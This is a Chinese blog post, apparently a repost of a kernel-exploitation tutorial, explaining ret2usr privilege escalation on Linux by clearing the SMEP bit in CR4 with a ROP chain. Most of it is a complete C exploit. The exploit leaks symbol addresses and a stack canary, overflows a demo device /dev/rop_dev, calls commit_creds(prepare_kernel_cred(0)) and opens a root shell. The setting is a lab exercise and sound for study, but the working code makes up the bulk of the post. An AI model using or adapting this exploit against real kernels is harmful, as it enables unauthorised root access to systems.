linux 内核提权总结(demo+exp分析) -- ROP(二)

小咪咪 2022-12-03 01:31 294阅读 0赞

# ret2usr CR4篇 #

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> 原文作者：jmpcall  
> 专栏地址：[https://zhuanlan.kanxue.com/user-815036.htm][https_zhuanlan.kanxue.com_user-815036.htm]

>  *  smep: smep是内核的一种保护措施, 使得内核不可执行用户态代码
>     
>      *  内核通过CR4寄存器的第20位来控制smep, 第20位为0时，smep被关闭
>  *  攻击流程
>     
>     1.  提前在用户态代码中构造进程提权代码(get\_root)
>     2.  ROP技术修改CR4第20位数据为0(关闭smep), 通常使用 mov cr4, 0x6f0
>     3.  修改 rip 直接指向用户态提权代码,实现进程提权

# 一. 判断是否开启smep #

## 1.查看 boot.sh ##

qemu-system-x86_64 \
    -kernel bzImage \
    -initrd rootfs.img \
    -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \
    -cpu qemu64,+smep,+smap \
    -nographic \
    -gdb tcp::1234

## 2.smep, smap 在boot.sh -cpu选项内进行设置 ##

# 二. ROP链构造 #

ROP[i++] = 0xffffffff810275f1 + offset; //pop rax; ret
    ROP[i++] = 0x6f0;
    ROP[i++] = 0xffffffff8123ed93 + offset; //pop rcx; ret
    ROP[i++] = 0;
    ROP[i++] = 0xffffffff81003c0e + offset; //mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret
    ROP[i++] = 0;
    ROP[i++] = (size_t)get_root;

# 三. exp #

// gcc ret2usr.c -masm=intel -static -o ret2usr
     
    #include <fcntl.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
     
    size_t base, commit_creds, prepare_kernel_cred;
    size_t user_cs, user_ss, user_rflags, user_sp, shell;
     
    void get_shell()
    {
        if (!getuid())
        {
            puts("=.=");
            system("/bin/sh");
        }
        else
        {
            puts("failed");
        }
        exit(0);
    }
     
    void get_root()
    {
        char *(*pkc)(int) = prepare_kernel_cred;
        void (*cc)(char *) = commit_creds;
        (*cc)((*pkc)(0));
        asm(   
            "pushq user_ss;"
            "pushq user_sp;"
            "pushq user_rflags;"
            "pushq user_cs;"
            "push shell;"
            "swapgs;"
            "iretq;");
    }
     
    void save_status()
    {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;");
        shell = (size_t)get_shell;
        printf("ip is 0x%lx\n", (size_t)get_shell);
        printf("cs is 0x%lx\n", user_cs);
        printf("ss is 0x%lx\n", user_ss);
        printf("sp is 0x%lx\n", user_sp);
        printf("flag is 0x%lx\n", user_rflags);
        puts("status has been saved.");
    }
     
    size_t get_addr(char *name)
    {
        int num = strlen(name) * 2 + 3 + 27;
        char cmd[num];
        memset(cmd, 0, num);
        strcat(cmd, "cat /tmp/kallsyms | grep ");
        strcat(cmd, name);
        strcat(cmd, " > ");
        strcat(cmd, name);
        printf("the cmd is %s\n", cmd);
        system(cmd);
     
        char buf[19] = {0};
        size_t addr = 0;
     
        FILE *fp = fopen(name, "r");
        if (fp == NULL)
        {
            printf("open %s error!\n", name);
            exit(0);
        }
        fgets(buf, 18, fp);
        addr = strtoul(buf, 0, 16);
        printf("the addr(0x) is: %p\n", (void *)addr);
        if (addr == 0)
        {
            puts("string conversion integer failed");
        }
        fclose(fp);
        return addr;
    }
     
    size_t get_canary()
    {
        system("dmesg | grep canary > canary");
        puts("the cmd is: dmesg | grep canary > canary");
        FILE *fp = fopen("canary", "r");
        if (fp == NULL)
        {
            puts("open canary error");
            exit(0);
        }
        char buf[100] = {0};
        size_t canary = 0;
        fgets(buf, 100, fp);
        char *str_canary = strstr(buf, "0x");
        canary = strtoul(str_canary, 0, 16);
        fclose(fp);
        printf("the canary is 0x%lx\n", canary);
     
        return canary;
    }
     
    char *rop(size_t offset, size_t *ROP)
    {
        int i = 0;
        ROP[i++] = 0xffffffff810275f1 + offset; //pop rax; ret
        ROP[i++] = 0x6f0;
        ROP[i++] = 0xffffffff8123ed93 + offset; //pop rcx; ret
        ROP[i++] = 0;
        ROP[i++] = 0xffffffff81003c0e + offset; //mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret
        ROP[i++] = 0;
        ROP[i++] = (size_t)get_root;
    }
     
    int main()
    {
        base = get_addr("startup_64");
        commit_creds = get_addr("commit_creds");
        prepare_kernel_cred = get_addr("prepare_kernel_cred");
        size_t offset = base - 0xffffffff81000000;
        printf("offset is: %lx\n", offset);
     
        int fd = open("/dev/rop_dev", 2);
        if (0 == fd)
        {
            puts("open /dev/rop_dev error");
            exit(0);
        }
        char payload1[0x10] = {0};
        write(fd, payload1, 0x10);
        write(fd, payload1, 0x10);
        size_t canary = get_canary();
     
        size_t payload2[19] = {0};
        payload2[0] = 0x6161616161616161;
        payload2[1] = 0x6262626262626262;
        payload2[2] = canary;
        payload2[3] = 0x6363636363636363;
        save_status();
        rop(offset, &payload2[4]);
        write(fd, payload2, 8 * 19);
     
        return 0;
    }

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